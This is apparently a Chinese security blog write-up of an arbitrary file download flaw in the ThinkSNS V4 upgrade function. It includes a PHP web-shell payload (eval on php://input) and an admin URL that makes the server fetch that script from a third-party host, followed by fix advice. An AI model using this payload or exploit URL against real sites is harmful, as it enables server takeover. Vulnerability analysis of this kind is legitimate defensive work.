0x00 环境准备

ThinkSNS官网:http://www.thinksns.com

网站源码版本:ThinkSNS V4  更新时间:2017-09-13

程序源码下载:http://www.thinksns.com/experience.html(填写信息后,提交并下载代码)

默认后台:http://127.0.0.1/index.php?app=admin&mod=Public&act=login

默认用户:管理员帐号: admin@admin.com密码自设,大于6位

测试网站首页:

0x01 代码分析

1、        漏洞文件位置:

/apps/admin/Lib/Action/UpgradeAction.class.php 第168-189行:

在这段函数中,先备份老配置文件,然后下载增量包,下载参数$downUrl未经过任何处理,直接下载到网站目录下,接着验证hash判断包是否合法,但是并没有删除下载的增量包,导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

0x02 漏洞利用

1、第三方网站,新建一个evil.php,作为第三方源文件

  1. <?php
  2. echo "<?php ";
  3. echo "eval(file_get_contents('php://input'));";
  4. echo "?>";
  5. ?>

2、        登录后台,通过访问构造的url,成功下载第三方源的恶意脚本文件。

http://127.0.0.1/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://192.168.8.154/evil.php

3、        通过直接访问url,触发代码执行,成功获取网站服务器权限。

0x03 修复建议

1、        指定固定更新源,避免参数被用户可控;

2、        经过hash验证的包如果不合法,应立即删除。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】ThinkSNS_V4 任意文件下载漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  3. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  4. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  5. dzzoffice 任意文件下载漏洞分析

    dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_ ...

  6. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  7. 任意文件下载漏洞的接口URL构造分析与讨论

    文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...

  8. 代码审计-phpcms9.6.2任意文件下载漏洞

    漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...

  9. 代码审计之Finecms任意文件下载漏洞

    PS:该漏洞已被公布,只是学习.故自己跟着大佬的步伐审计. 文件地址:\controllers\ApiController.php Line 57 public function downAction ...

随机推荐

  1. linux守护进程编写实践

    主要参考:http://colding.bokee.com/5277082.html (实例程序是参考这的) http://wbwk2005.blog.51cto.com/2215231/400260 ...

  2. 升级R语言

    Linux (RedHat, CentOS)上升级R语言: sudo yum install R Windows上升级R语言: install.packages("installr" ...

  3. R语言入门 一些基本的操作

    1 R的下载.安转 R有很多的版本,支持目前主流的操作系统MAC.Linux和WINDOWS系列.因为我个人是在WINDOWS下用R的,所以在这里将只介绍WINDOWS下R的下载&安装. 下载 ...

  4. Python __str__函数

    class Cat: def __init__(self,_name): self.name = _name def __str__(self): return "i am %s" ...

  5. Mxnet 查看模型params的网络结构

    import mxnet as mx import pdb def load_checkpoint(): """ Load model checkpoint from f ...

  6. hibernate向mysql数据库插入中文显示??

  7. CorelDRAW X7绘制可爱的卡通动漫多啦A梦

    今天小编为大家分享CorelDRAW X7绘制可爱的卡通动漫多啦A梦方法,教程绘制出来的哆啦A梦非常可爱,适合新手来学习,推荐过来,来看看吧! 1.新建文件 新建A4大小横向画布,双击“矩形工具”绘制 ...

  8. linux下nginx安裝

    1.yum安裝 yum安裝  http://nginx.org/packages/centos/7/noarch/RPMS/ 第一步: 安裝命令: yum localinstall http://ng ...

  9. glsl boom

    原理: 1.渲染场景到fbo 2.对fbo进行高斯横向,纵向模糊,到新的fbo 3.对两张图进行叠加 模糊后的 效果就这样 给数据加大 <-vertex-> #version varyin ...

  10. Objective-c: 移除字符串中的指定字符

    string = [[string componentsSeparatedByCharactersInSet:[NSCharacterSet characterSetWithCharactersInS ...